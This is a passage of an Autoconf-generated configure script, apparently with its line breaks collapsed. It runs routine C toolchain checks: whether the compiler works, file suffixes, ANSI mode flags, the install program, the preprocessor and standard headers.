break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: C compiler cannot create executables See \`config.log' for more details." >&5 echo "$as_me: error: C compiler cannot create executables See \`config.log' for more details." >&2;} { (exit 77); exit 77; }; } fi ac_exeext=$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_file" >&5 echo "${ECHO_T}$ac_file" >&6 # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether the C compiler works" >&5 echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6 # FIXME: These cross compiler hacks should be removed for Autoconf 3.0 # If not cross compiling, check that we can run a simple program. if test "$cross_compiling" != yes; then if { ac_try='./$ac_file' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { echo "$as_me:$LINENO: error: cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&5 echo "$as_me: error: cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi fi fi echo "$as_me:$LINENO: result: yes" >&5 echo "${ECHO_T}yes" >&6 rm -f a.out a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6 echo "$as_me:$LINENO: result: $cross_compiling" >&5 echo "${ECHO_T}$cross_compiling" >&6 echo "$as_me:$LINENO: checking for suffix of executables" >&5 echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6 if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` export ac_cv_exeext break;; * ) break;; esac done else { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." >&5 echo "$as_me: error: cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi rm -f conftest$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 echo "${ECHO_T}$ac_cv_exeext" >&6 rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT echo "$as_me:$LINENO: checking for suffix of object files" >&5 echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6 if test "${ac_cv_objext+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile See \`config.log' for more details." >&5 echo "$as_me: error: cannot compute suffix of object files: cannot compile See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 echo "${ECHO_T}$ac_cv_objext" >&6 OBJEXT=$ac_cv_objext ac_objext=$OBJEXT echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6 if test "${ac_cv_c_compiler_gnu+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_compiler_gnu=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_compiler_gnu=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6 GCC=`test $ac_compiler_gnu = yes && echo yes` ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS CFLAGS="-g" echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6 if test "${ac_cv_prog_cc_g+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cc_g=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_prog_cc_g=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 echo "${ECHO_T}$ac_cv_prog_cc_g" >&6 if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5 echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6 if test "${ac_cv_prog_cc_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_prog_cc_stdc=no ac_save_CC=$CC cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std1 is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std1. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF # Don't try gcc -ansi; that turns off useful extensions and # breaks some systems' header files. # AIX -qlanglvl=ansi # Ultrix and OSF/1 -std1 # HP-UX 10.20 and later -Ae # HP-UX older versions -Aa -D_HPUX_SOURCE # SVR4 -Xc -D__EXTENSIONS__ for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cc_stdc=$ac_arg break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext done rm -f conftest.$ac_ext conftest.$ac_objext CC=$ac_save_CC fi case "x$ac_cv_prog_cc_stdc" in x|xno) echo "$as_me:$LINENO: result: none needed" >&5 echo "${ECHO_T}none needed" >&6 ;; *) echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5 echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6 CC="$CC $ac_cv_prog_cc_stdc" ;; esac # Some people use a C++ compiler to compile C. Since we use `exit', # in C++ we need to declare it. In case someone uses the same compiler # for both compiling C and C++ we need to have the C++ compiler decide # the declaration of exit, since it's the most demanding environment. cat >conftest.$ac_ext <<_ACEOF #ifndef __cplusplus choke me #endif _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then for ac_declaration in \ '' \ 'extern "C" void std::exit (int) throw (); using std::exit;' \ 'extern "C" void std::exit (int); using std::exit;' \ 'extern "C" void exit (int) throw ();' \ 'extern "C" void exit (int);' \ 'void exit (int);' do cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration #include int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 continue fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext done rm -f conftest* if test -n "$ac_declaration"; then echo '#ifdef __cplusplus' >>confdefs.h echo $ac_declaration >>confdefs.h echo '#endif' >>confdefs.h fi else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu # Find a good install program. We prefer a C program (faster), # so one script is as good as another. But avoid the broken or # incompatible versions: # SysV /etc/install, /usr/sbin/install # SunOS /usr/etc/install # IRIX /sbin/install # AIX /bin/install # AmigaOS /C/install, which installs bootblocks on floppy discs # AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag # AFS /usr/afsws/bin/install, which mishandles nonexistent args # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" # OS/2's system install, which has a completely different semantic # ./install, which can be erroneously created by make from ./install.sh. echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6 if test -z "$INSTALL"; then if test "${ac_cv_path_install+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. # Account for people who put trailing slashes in PATH elements. case $as_dir/ in ./ | .// | /cC/* | \ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ /usr/ucb/* ) ;; *) # OSF1 and SCO ODT 3.0 have their own names for install. # Don't use installbsd from OSF since it installs stuff as root # by default. for ac_prog in ginstall scoinst install; do for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then if test $ac_prog = install && grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # AIX install. It has an incompatible calling convention. : elif test $ac_prog = install && grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # program-specific install script used by HP pwplus--don't use. : else ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" break 3 fi fi done done ;; esac done fi if test "${ac_cv_path_install+set}" = set; then INSTALL=$ac_cv_path_install else # As a last resort, use the slow shell script. We don't cache a # path for INSTALL within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the path is relative. INSTALL=$ac_install_sh fi fi echo "$as_me:$LINENO: result: $INSTALL" >&5 echo "${ECHO_T}$INSTALL" >&6 # Use test -z because SunOS4 sh mishandles braces in ${var-val}. # It thinks the first close brace ends the variable substitution. test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' #AC_CONFIG_FILES([Makefile]) ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6 # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if test "${ac_cv_prog_CPP+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi echo "$as_me:$LINENO: result: $CPP" >&5 echo "${ECHO_T}$CPP" >&6 ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&5 echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking for egrep" >&5 echo $ECHO_N "checking for egrep... $ECHO_C" >&6 if test "${ac_cv_prog_egrep+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if echo a | (grep -E '(a|b)') >/dev/null 2>&1 then ac_cv_prog_egrep='grep -E' else ac_cv_prog_egrep='egrep' fi fi echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 echo "${ECHO_T}$ac_cv_prog_egrep" >&6 EGREP=$ac_cv_prog_egrep echo "$as_me:$LINENO: checking for ANSI C header files" >&5 echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 if test "${ac_cv_header_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_stdc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_stdc=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) exit(2); exit (0); } _ACEOF rm -f conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='./conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: program exited with status $ac_status" >&5 echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ( exit $ac_status ) ac_cv_header_stdc=no fi rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext fi fi fi echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 echo "${ECHO_T}$ac_cv_header_stdc" >&6 if test $ac_cv_header_stdc = yes; then cat >>confdefs.h <<\_ACEOF #define STDC_HEADERS 1 _ACEOF fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` echo "$as_me:$LINENO: 